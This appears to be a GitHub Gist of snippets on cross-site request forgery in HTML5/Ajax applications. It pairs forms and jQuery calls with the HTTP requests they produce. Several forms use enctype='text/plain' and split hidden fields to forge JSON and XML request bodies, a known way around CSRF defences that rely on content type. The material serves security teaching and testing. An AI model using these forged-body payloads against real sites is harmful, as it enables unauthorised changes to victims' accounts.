Last active
August 29, 2015 14:16
-
-
Save PiotrPodsiadly/cef60b358d8e90db225e to your computer and use it in GitHub Desktop.
CSRF in HTML5/Ajax web application
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form action="/change-my-email" method="POST"> | |
| <input type="text" name="email" value="john@domain.com"/> | |
| <input type="submit" value="test"/> | |
| </form> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST /change-my-email HTTP/1.1 | |
| Host: www.example.com | |
| Content-Type: application/x-www-form-urlencoded | |
| email=john%40domain.com |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $.ajax({ | |
| type: "POST", | |
| url: "/change-my-email", | |
| data: { email: "john@domain.com" } | |
| }).done(function( msg ) { | |
| console.log( "Data Saved: " + msg ); | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST /change-my-email HTTP/1.1 | |
| Host: www.example.com | |
| Content-Type: application/x-www-form-urlencoded | |
| X-Requested-With: XMLHttpRequest | |
| email=john%40domain.com |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form enctype="text/plain" action="/doit" method="post"> | |
| <input type="hidden" name='{"ignoreMe":"' value='", "email":"john@domain.com"}'> | |
| <input type="submit" value="test"/> | |
| </form> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST /doit HTTP/1.1 | |
| Host: www.example.com | |
| Content-Type: text/plain | |
| {"ignoreMe":"=", "email":"john@domain.com"} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form action="/news/1" method="post"> | |
| <input name="_method" type="hidden" value="put" /> | |
| </form> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form enctype="text/plain" action="/doit" method="post"> | |
| <input type="hidden" name='<?xml version' value='"1.0"?><mySoapBody>isHere</mySoapBody>'> | |
| <input type="submit" value="test"/> | |
| </form> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST /doit HTTP/1.1 | |
| Host: www.example.com | |
| Content-Type: text/plain | |
| <?xml version="1.0"?><mySoapBody>isHere</mySoapBody> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment